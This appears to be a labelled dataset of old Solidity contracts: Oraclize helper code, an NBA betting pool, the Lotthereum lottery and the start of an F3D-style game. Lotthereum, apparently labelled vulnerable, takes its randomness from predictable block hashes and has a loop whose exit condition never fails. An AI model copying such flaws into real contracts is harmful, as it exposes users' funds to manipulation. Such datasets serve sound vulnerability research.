bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract nbagame is usingOraclize {
address owner;
address public creator = 0x0161C8d35f0B603c7552017fe9642523f70d7B6A;
address public currentOwner = 0x0161C8d35f0B603c7552017fe9642523f70d7B6A;
uint8 public constant NUM_TEAMS = 2;
string[NUM_TEAMS] public TEAM_NAMES = ["Toronto Raptors", "Orlando Magic"];
enum TeamType { TRaptors, OMagic, None }
TeamType public winningTeam = TeamType.None;
uint public constant TOTAL_POOL_COMMISSION = 10;
uint public constant EARLY_BET_INCENTIVE_COMMISSION = 4;
uint public constant OWNER_POOL_COMMISSION = 6;
uint public constant MINIMUM_BET = 0.01 ether;
uint public constant BETTING_OPENS = 1519599600;
uint public constant BETTING_CLOSES = 1519862700;
uint public constant PAYOUT_ATTEMPT_INTERVAL = 64800;
uint public constant BET_RELEASE_DATE = 1520035500;
uint public constant PAYOUT_DATE = BETTING_CLOSES + PAYOUT_ATTEMPT_INTERVAL;
uint public constant STAGE_ONE_BET_LIMIT = 0.2 ether;
bool public payoutCompleted;
bool public stage2NotReached = true;
struct Bettor {
uint[NUM_TEAMS] amountsBet;
uint[NUM_TEAMS] amountsBetStage1;
uint[NUM_TEAMS] amountsBetStage2;
}
mapping(address => Bettor) bettorInfo;
address[] bettors;
uint[NUM_TEAMS] public totalAmountsBet;
uint[NUM_TEAMS] public totalAmountsBetStage1;
uint[NUM_TEAMS] public totalAmountsBetStage2;
uint public numberOfBets;
uint public totalBetAmount;
uint public contractPrice = 0.05 ether;
uint private firstStepLimit = 0.1 ether;
uint private secondStepLimit = 0.5 ether;
event BetMade();
event ContractPurchased();
modifier canPerformPayout() {
if (winningTeam != TeamType.None && !payoutCompleted && now > BETTING_CLOSES) _;
}
modifier bettingIsClosed() {
if (now > BETTING_CLOSES) _;
}
modifier onlyCreatorLevel() {
require(
creator == msg.sender
);
_;
}
function nbagame() public {
owner = msg.sender;
pingOracle(PAYOUT_DATE - now);
}
function triggerRelease() public onlyCreatorLevel {
require(now > BET_RELEASE_DATE);
releaseBets();
}
function _addressNotNull(address _adr) private pure returns (bool) {
return _adr != address(0);
}
function pingOracle(uint pingDelay) private {
oraclize_query(pingDelay, "WolframAlpha", "Raptors vs Magic February 28, 2018 Winner");
}
function __callback(bytes32 queryId, string result, bytes proof) public {
require(payoutCompleted == false);
require(msg.sender == oraclize_cbAddress());
if (keccak256(TEAM_NAMES[0]) == keccak256(result)) {
winningTeam = TeamType(0);
}
else if (keccak256(TEAM_NAMES[1]) == keccak256(result)) {
winningTeam = TeamType(1);
}
if (winningTeam == TeamType.None) {
if (now >= BET_RELEASE_DATE)
return releaseBets();
return pingOracle(PAYOUT_ATTEMPT_INTERVAL);
}
performPayout();
}
function getUserBets() public constant returns(uint[NUM_TEAMS]) {
return bettorInfo[msg.sender].amountsBet;
}
function releaseBets() private {
uint storedBalance = this.balance;
for (uint k = 0; k < bettors.length; k++) {
uint totalBet = SafeMath.add(bettorInfo[bettors[k]].amountsBet[0], bettorInfo[bettors[k]].amountsBet[1]);
bettors[k].transfer(SafeMath.mul(totalBet, SafeMath.div(storedBalance, totalBetAmount)));
}
}
function canBet() public constant returns(bool) {
return (now >= BETTING_OPENS && now < BETTING_CLOSES);
}
function triggerPayout() public onlyCreatorLevel {
pingOracle(5);
}
function bet(uint teamIdx) public payable {
require(canBet() == true);
require(TeamType(teamIdx) == TeamType.TRaptors || TeamType(teamIdx) == TeamType.OMagic);
require(msg.value >= MINIMUM_BET);
if (bettorInfo[msg.sender].amountsBet[0] == 0 && bettorInfo[msg.sender].amountsBet[1] == 0)
bettors.push(msg.sender);
if (totalAmountsBet[teamIdx] >= STAGE_ONE_BET_LIMIT) {
bettorInfo[msg.sender].amountsBetStage2[teamIdx] += msg.value;
totalAmountsBetStage2[teamIdx] += msg.value;
}
if (totalAmountsBet[teamIdx] < STAGE_ONE_BET_LIMIT) {
if (SafeMath.add(totalAmountsBet[teamIdx], msg.value) <= STAGE_ONE_BET_LIMIT) {
bettorInfo[msg.sender].amountsBetStage1[teamIdx] += msg.value;
totalAmountsBetStage1[teamIdx] += msg.value;
} else {
uint amountLeft = SafeMath.sub(STAGE_ONE_BET_LIMIT, totalAmountsBet[teamIdx]);
uint amountExcess = SafeMath.sub(msg.value, amountLeft);
bettorInfo[msg.sender].amountsBetStage1[teamIdx] += amountLeft;
bettorInfo[msg.sender].amountsBetStage2[teamIdx] += amountExcess;
totalAmountsBetStage1[teamIdx] = STAGE_ONE_BET_LIMIT;
totalAmountsBetStage2[teamIdx] += amountExcess;
}
}
bettorInfo[msg.sender].amountsBet[teamIdx] += msg.value;
numberOfBets++;
totalBetAmount += msg.value;
totalAmountsBet[teamIdx] += msg.value;
BetMade();
}
function performPayout() private canPerformPayout {
uint losingChunk = SafeMath.sub(this.balance, totalAmountsBet[uint(winningTeam)]);
uint currentOwnerPayoutCommission = uint256(SafeMath.div(SafeMath.mul(OWNER_POOL_COMMISSION, losingChunk), 100));
uint eachStageCommission = uint256(SafeMath.div(SafeMath.mul(1, losingChunk), 100));
for (uint k = 0; k < bettors.length; k++) {
uint betOnWinner = bettorInfo[bettors[k]].amountsBet[uint(winningTeam)];
uint payout = betOnWinner + ((betOnWinner * (losingChunk - currentOwnerPayoutCommission - (4 * eachStageCommission))) / totalAmountsBet[uint(winningTeam)]);
if (totalAmountsBetStage1[0] > 0) {
uint stageOneCommissionPayoutTeam0 = ((bettorInfo[bettors[k]].amountsBetStage1[0] * eachStageCommission) / totalAmountsBetStage1[0]);
payout += stageOneCommissionPayoutTeam0;
}
if (totalAmountsBetStage1[1] > 0) {
uint stageOneCommissionPayoutTeam1 = ((bettorInfo[bettors[k]].amountsBetStage1[1] * eachStageCommission) / totalAmountsBetStage1[1]);
payout += stageOneCommissionPayoutTeam1;
}
if (totalAmountsBetStage2[0] > 0) {
uint stageTwoCommissionPayoutTeam0 = ((bettorInfo[bettors[k]].amountsBetStage2[0] * eachStageCommission) / totalAmountsBetStage2[0]);
payout += stageTwoCommissionPayoutTeam0;
}
if (totalAmountsBetStage2[1] > 0) {
uint stageTwoCommissionPayoutTeam1 = ((bettorInfo[bettors[k]].amountsBetStage2[1] * eachStageCommission) / totalAmountsBetStage2[1]);
payout += stageTwoCommissionPayoutTeam1;
}
if (payout > 0)
bettors[k].transfer(payout);
}
currentOwner.transfer(currentOwnerPayoutCommission);
if (this.balance > 0) {
creator.transfer(this.balance);
stage2NotReached = true;
} else {
stage2NotReached = false;
}
payoutCompleted = true;
}
function buyContract() public payable {
address oldOwner = currentOwner;
address newOwner = msg.sender;
require(newOwner != oldOwner);
require(_addressNotNull(newOwner));
require(msg.value >= contractPrice);
require(now < BETTING_CLOSES);
uint payment = uint(SafeMath.div(SafeMath.mul(contractPrice, 94), 100));
uint purchaseExcess = uint(SafeMath.sub(msg.value, contractPrice));
uint creatorCommissionValue = uint(SafeMath.sub(contractPrice, payment));
if (contractPrice < firstStepLimit) {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 132), 94);
} else if (contractPrice < secondStepLimit) {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 122), 94);
} else {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 113), 94);
}
currentOwner = newOwner;
oldOwner.transfer(payment);
creator.transfer(creatorCommissionValue);
ContractPurchased();
msg.sender.transfer(purchaseExcess);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 998 |
pragma solidity ^0.4.11;
contract Owned {
address owner;
modifier onlyowner() {
if (msg.sender == owner) {
_;
}
}
function Owned() {
owner = msg.sender;
}
}
contract Mortal is Owned {
function kill() {
if (msg.sender == owner)
selfdestruct(owner);
}
}
contract Lotthereum is Mortal {
uint blockPointer;
uint maxNumberOfBets;
uint minAmountByBet;
uint prize;
uint currentRound;
bytes32 private hash;
Round[] private rounds;
mapping (uint => Bet[]) bets;
mapping (address => uint) private balances;
mapping (uint => address[]) winners;
struct Round {
uint id;
bool open;
uint maxNumberOfBets;
uint minAmountByBet;
uint blockNumber;
bytes32 blockHash;
uint8 number;
uint prize;
}
struct Bet {
uint id;
address origin;
uint amount;
uint8 bet;
uint round;
}
event RoundOpen(uint indexed id, uint maxNumberOfBets, uint minAmountByBet);
event RoundClose(uint indexed id, uint8 number, uint blockNumber, bytes32 blockHash);
event MaxNumberOfBetsChanged(uint maxNumberOfBets);
event MinAmountByBetChanged(uint minAmountByBet);
event BetPlaced(address indexed origin, uint roundId, uint betId);
event RoundWinner(address indexed winnerAddress, uint amount);
function Lotthereum(uint _blockPointer, uint _maxNumberOfBets, uint _minAmountByBet, uint _prize, bytes32 _hash) {
blockPointer = _blockPointer;
maxNumberOfBets = _maxNumberOfBets;
minAmountByBet = _minAmountByBet;
prize = _prize;
hash = _hash;
currentRound = createRound();
}
function createRound() internal returns (uint id) {
id = rounds.length;
rounds.length += 1;
rounds[id].id = id;
rounds[id].open = false;
rounds[id].maxNumberOfBets = maxNumberOfBets;
rounds[id].minAmountByBet = minAmountByBet;
rounds[id].prize = prize;
rounds[id].blockNumber = 0;
rounds[id].blockHash = hash;
rounds[id].open = true;
RoundOpen(id, maxNumberOfBets, minAmountByBet);
}
function payout() internal {
for (uint i = 0; i < bets[currentRound].length; i++) {
if (bets[currentRound][i].bet == rounds[currentRound].number) {
uint id = winners[currentRound].length;
winners[currentRound].length += 1;
winners[currentRound][id] = bets[currentRound][i].origin;
}
}
if (winners[currentRound].length > 0) {
uint prize = rounds[currentRound].prize / winners[currentRound].length;
for (i = 0; i < winners[currentRound].length; i++) {
balances[winners[currentRound][i]] += prize;
RoundWinner(winners[currentRound][i], prize);
}
}
}
function closeRound() constant internal {
rounds[currentRound].open = false;
rounds[currentRound].blockHash = getBlockHash(blockPointer);
rounds[currentRound].number = getNumber(rounds[currentRound].blockHash);
payout();
RoundClose(currentRound, rounds[currentRound].number, rounds[currentRound].blockNumber, rounds[currentRound].blockHash);
currentRound = createRound();
}
function getBlockHash(uint i) constant returns (bytes32 blockHash) {
if (i > 256) {
i = 256;
}
uint blockNumber = block.number - i;
blockHash = block.blockhash(blockNumber);
}
function getNumber(bytes32 _a) constant returns (uint8) {
uint8 _b = 1;
uint8 mint = 0;
bool decimals = false;
for (uint i = _a.length - 1; i >= 0; i--) {
if ((_a[i] >= 48) && (_a[i] <= 57)) {
if (decimals) {
if (_b == 0) {
break;
} else {
_b--;
}
}
mint *= 10;
mint += uint8(_a[i]) - 48;
return mint;
} else if (_a[i] == 46) {
decimals = true;
}
}
return mint;
}
function bet(uint8 bet) public payable returns (bool) {
if (!rounds[currentRound].open) {
return false;
}
if (msg.value < rounds[currentRound].minAmountByBet) {
return false;
}
uint id = bets[currentRound].length;
bets[currentRound].length += 1;
bets[currentRound][id].id = id;
bets[currentRound][id].round = currentRound;
bets[currentRound][id].bet = bet;
bets[currentRound][id].origin = msg.sender;
bets[currentRound][id].amount = msg.value;
BetPlaced(msg.sender, currentRound, id);
if (bets[currentRound].length == rounds[currentRound].maxNumberOfBets) {
closeRound();
}
return true;
}
function withdraw() public returns (uint) {
uint amount = getBalance();
if (amount > 0) {
balances[msg.sender] = 0;
msg.sender.transfer(amount);
return amount;
}
return 0;
}
function getBalance() constant returns (uint) {
uint amount = balances[msg.sender];
if ((amount > 0) && (amount < this.balance)) {
return amount;
}
return 0;
}
function getCurrentRoundId() constant returns(uint) {
return currentRound;
}
function getRoundOpen(uint id) constant returns(bool) {
return rounds[id].open;
}
function getRoundMaxNumberOfBets(uint id) constant returns(uint) {
return rounds[id].maxNumberOfBets;
}
function getRoundMinAmountByBet(uint id) constant returns(uint) {
return rounds[id].minAmountByBet;
}
function getRoundPrize(uint id) constant returns(uint) {
return rounds[id].prize;
}
function getRoundNumberOfBets(uint id) constant returns(uint) {
return bets[id].length;
}
function getRoundBetOrigin(uint roundId, uint betId) constant returns(address) {
return bets[roundId][betId].origin;
}
function getRoundBetAmount(uint roundId, uint betId) constant returns(uint) {
return bets[roundId][betId].amount;
}
function getRoundBetNumber(uint roundId, uint betId) constant returns(uint) {
return bets[roundId][betId].bet;
}
function getRoundNumber(uint id) constant returns(uint8) {
return rounds[id].number;
}
function getRoundBlockNumber(uint id) constant returns(uint) {
return rounds[id].blockNumber;
}
function getBlockPointer() constant returns(uint) {
return blockPointer;
}
function () payable {
}
} | 1 | 4,144 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract NOPONZI is modularLong {
